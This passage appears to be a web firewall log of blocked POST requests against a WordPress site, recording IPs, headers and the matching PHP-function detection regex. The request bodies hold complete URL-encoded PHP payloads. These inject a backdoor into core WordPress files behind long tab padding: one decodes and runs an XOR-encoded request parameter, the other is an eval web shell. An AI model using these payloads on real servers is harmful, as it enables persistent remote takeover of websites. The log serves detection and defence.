%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:3956\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqJfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nuk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:55","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:3979\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:49:57","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Dz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:3956\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEUbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nDz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:00","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-length:2063\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nCY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:04","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%